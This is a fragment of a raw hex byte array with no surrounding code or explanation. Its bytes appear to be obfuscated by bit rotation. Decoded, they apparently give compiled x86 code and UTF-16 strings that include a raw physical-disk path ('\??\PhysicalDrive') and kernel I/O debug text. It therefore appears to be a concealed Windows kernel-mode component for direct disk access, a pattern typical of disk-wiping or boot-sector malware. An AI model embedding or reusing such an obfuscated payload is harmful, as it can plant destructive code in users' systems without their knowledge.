0x08, 0x00, 0x00, 0x5C, 0xAA, 0x86, 0x53, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x12, 0xC3,
0x82, 0x5C, 0x52, 0xA3, 0x8A, 0x47, 0xEE, 0x08, 0x00, 0x00, 0x1D, 0x80, 0x81, 0x08, 0x00, 0x4C,
0xA8, 0xA0, 0x81, 0x08, 0x00, 0x5C, 0xA8, 0x80, 0x81, 0x08, 0x00, 0x4C, 0xAA, 0x45, 0x0D, 0xA0,
0x81, 0x08, 0x00, 0x4C, 0x2A, 0x65, 0x5C, 0x6A, 0x45, 0x0C, 0x0E, 0x00, 0x41, 0x00, 0x00, 0x5C,
0xAA, 0x65, 0x1C, 0x96, 0x00, 0x0C, 0x4F, 0x00, 0x10, 0x00, 0x00, 0x1C, 0xD6, 0x00, 0x4C, 0x6A,
0x45, 0x4C, 0xAA, 0x65, 0x3E, 0x2A, 0x67, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x48, 0x5C, 0x2A, 0x67,
0x1C, 0x06, 0x08, 0x4C, 0x2A, 0x67, 0x0C, 0xEB, 0x67, 0x84, 0x08, 0x00, 0x00, 0x78, 0x1C, 0x85,
0x00, 0x00, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x6A, 0x65, 0x8A, 0x5C, 0xAA, 0x45, 0x92,
0x5C, 0x2A, 0x06, 0x82, 0x53, 0x18, 0x5C, 0x68, 0x60, 0x81, 0x08, 0x00, 0x8A, 0x47, 0x9A, 0xE7,
0xFF, 0xFF, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0x73, 0x1C, 0xEB, 0x67, 0x00, 0xAB,
0x21, 0x5C, 0xAA, 0x06, 0x4C, 0xAA, 0x25, 0x5C, 0x2A, 0x25, 0x1C, 0xC1, 0x00, 0xAB, 0x58, 0x5C,
0x6A, 0x25, 0x1C, 0xCB, 0x20, 0x00, 0xAB, 0x10, 0x5F, 0x4B, 0xD5, 0x6A, 0xD2, 0x00, 0x00, 0x5C,
0x2A, 0x06, 0x33, 0x4C, 0x80, 0x53, 0x00, 0x53, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x6A,
0x06, 0x8A, 0x6C, 0xAA, 0xC7, 0x92, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x5C, 0x2A, 0xE5, 0x82,
0xFF, 0xA8, 0xC1, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0x06, 0x4C, 0x6A, 0x05, 0x5C, 0xAA, 0x05, 0x0C,
0xD5, 0xC7, 0x08, 0x00, 0x00, 0x55, 0xAA, 0x00, 0x00, 0xAB, 0x70, 0x5C, 0x2A, 0x05, 0x1C, 0xC5,
0xE7, 0x08, 0x00, 0x00, 0x00, 0xAB, 0x10, 0x5F, 0xD0, 0x5C, 0x6A, 0x45, 0x0C, 0x0E, 0x00, 0x10,
0x00, 0x00, 0x5C, 0xAA, 0x65, 0x1C, 0x96, 0x00, 0x4C, 0x6A, 0x45, 0x4C, 0xAA, 0x65, 0x4F, 0xD1,
0xFF, 0xFF, 0xFF, 0x5C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x43, 0x40, 0x81,
0x08, 0x00, 0x43, 0x80, 0x80, 0x08, 0x00, 0x47, 0xC8, 0xD7, 0xFF, 0xFF, 0x5C, 0x2F, 0xEA, 0x16,
0x20, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x80, 0x3E, 0x2A, 0x87,
0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0x00, 0x00,
0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0xE7, 0x53, 0x00, 0x43, 0x80, 0xA8, 0x08, 0x00, 0x6C, 0x6A,
0xC7, 0x8A, 0x53, 0x00, 0x53, 0x00, 0x43, 0xFF, 0xFF, 0xF8, 0x00, 0x6C, 0xAA, 0x87, 0x92, 0xFF,
0xA8, 0x23, 0x01, 0x08, 0x00, 0x2C, 0x06, 0xE3, 0x69, 0x6C, 0x2A, 0xA7, 0x82, 0x5C, 0x6A, 0xE7,
0x8A, 0xFF, 0xA8, 0x03, 0x01, 0x08, 0x00, 0x53, 0xF8, 0x5C, 0xAA, 0xA7, 0x92, 0xFF, 0xA8, 0xE2,
0x01, 0x08, 0x00, 0x5C, 0x6A, 0xA7, 0xFF, 0xA8, 0x40, 0x01, 0x08, 0x00, 0x5C, 0x2A, 0x87, 0x82,
0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x99, 0x06, 0x5C, 0x2F, 0xEA, 0x16, 0x40, 0x00, 0x66, 0x66,
0x66, 0x66, 0x66, 0xFF, 0x29, 0x00, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF,
0x29, 0xE0, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF, 0x29, 0x02, 0x01, 0x08,
0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF, 0x29, 0xC2, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x4A, 0x93, 0x83, 0x69, 0xF1, 0x1A, 0xAB, 0x93, 0x93, 0x2B, 0x73,
0xA3, 0x62, 0x7B, 0x1B, 0x0B, 0xA3, 0x4B, 0x7B, 0x73, 0x01, 0xE1, 0xE9, 0x01, 0x4A, 0x93, 0x83,
0x69, 0xF1, 0x9A, 0xA3, 0x0B, 0x1B, 0x5B, 0x1A, 0x7B, 0xAB, 0x73, 0xA3, 0x01, 0x59, 0x01, 0x89,
0x00, 0x66, 0x66, 0x66, 0x66, 0x23, 0xD1, 0xE2, 0x83, 0x93, 0x7B, 0x3B, 0x93, 0x0B, 0x6B, 0x01,
0x33, 0x4B, 0x63, 0x2B, 0x9B, 0xE2, 0x23, 0x23, 0x5B, 0xE2, 0x4B, 0x73, 0x1B, 0xE2, 0x23, 0x23,
0x5B, 0xE2, 0xBB, 0x23, 0x6B, 0x71, 0x43, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x42, 0x7B, 0x7B, 0x5B, 0x0A, 0xA3, 0x0B, 0x83, 0x4B, 0x9A, 0xA3,
0x0B, 0x93, 0xA3, 0x4A, 0x7A, 0x61, 0x01, 0x72, 0xAA, 0x62, 0x62, 0x01, 0xE9, 0xE9, 0x01, 0x92,
0x2B, 0x0B, 0x63, 0x22, 0x4B, 0x9B, 0x5B, 0x50, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x42, 0x7B, 0x7B, 0x5B, 0x0A, 0xA3, 0x0B, 0x83, 0x4B, 0x9A, 0xA3,
0x0B, 0x93, 0xA3, 0x4A, 0x7A, 0x61, 0x01, 0xD2, 0xBB, 0x1A, 0x93, 0x2B, 0x0B, 0xA3, 0x2B, 0x32,
0x4B, 0x63, 0x2B, 0x01, 0x33, 0x0B, 0x4B, 0x63, 0x2B, 0x23, 0xD1, 0x81, 0xC3, 0x29, 0xC3, 0x50,
0x00, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0xF9, 0x00, 0xF9, 0x00, 0xE2, 0x00, 0x82, 0x00, 0x43,
0x00, 0xCB, 0x00, 0x9B, 0x00, 0x4B, 0x00, 0x1B, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x22, 0x00, 0x93,
0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x81, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0x22, 0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B,
0x00, 0x93, 0x00, 0xE2, 0x00, 0x22, 0x00, 0x4B, 0x00, 0x9B, 0x00, 0x5B, 0x00, 0x00, 0x00, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0xF9, 0x00, 0xF9, 0x00, 0xE2, 0x00, 0x1A, 0x00, 0xD1,
0x00, 0xE2, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x3B, 0x00, 0x71, 0x00, 0x2B, 0x00, 0xC3, 0x00, 0x2B,
0x00, 0x00, 0x00, 0x66, 0x66, 0x1A, 0x00, 0xD1, 0x00, 0xE2, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x3B,
0x00, 0x71, 0x00, 0x2B, 0x00, 0xC3, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0x0A, 0x00, 0x63, 0x00, 0x3B, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66,
0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0x92, 0x00, 0x2B, 0x00, 0x3B, 0x00, 0x4B, 0x00, 0x9B,
0x00, 0xA3, 0x00, 0x93, 0x00, 0xCB, 0x00, 0xE2, 0x00, 0x6A, 0x00, 0x0B, 0x00, 0x1B, 0x00, 0x43,
0x00, 0x4B, 0x00, 0x73, 0x00, 0x2B, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0x7A, 0x00, 0x32, 0x00, 0xA2,
0x00, 0xBA, 0x00, 0x0A, 0x00, 0x92, 0x00, 0x2A, 0x00, 0xE2, 0x00, 0x6A, 0x00, 0x4B, 0x00, 0x1B,
0x00, 0x93, 0x00, 0x7B, 0x00, 0x9B, 0x00, 0x7B, 0x00, 0x33, 0x00, 0xA3, 0x00, 0xE2, 0x00, 0xBA,
0x00, 0x4B, 0x00, 0x73, 0x00, 0x23, 0x00, 0x7B, 0x00, 0xBB, 0x00, 0x9B, 0x00, 0xE2, 0x00, 0x1A,
0x00, 0xAB, 0x00, 0x93, 0x00, 0x93, 0x00, 0x2B, 0x00, 0x73, 0x00, 0xA3, 0x00, 0xB2, 0x00, 0x2B,
0x00, 0x93, 0x00, 0x9B, 0x00, 0x4B, 0x00, 0x7B, 0x00, 0x73, 0x00, 0xE2, 0x00, 0x92, 0x00, 0xAB,
0x00, 0x73, 0x00, 0x00, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B,
0x00, 0x6B, 0x00, 0x92, 0x00, 0x7B, 0x00, 0x7B, 0x00, 0xA3, 0x00, 0xE2, 0x00, 0x9B, 0x00, 0xCB,
0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x99, 0x00, 0x91, 0x00, 0xE2, 0x00, 0x23,
0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x93, 0x00, 0x9B, 0x00, 0xE2, 0x00, 0x13,
0x00, 0x2B, 0x00, 0x2B, 0x00, 0x83, 0x00, 0x71, 0x00, 0x9B, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0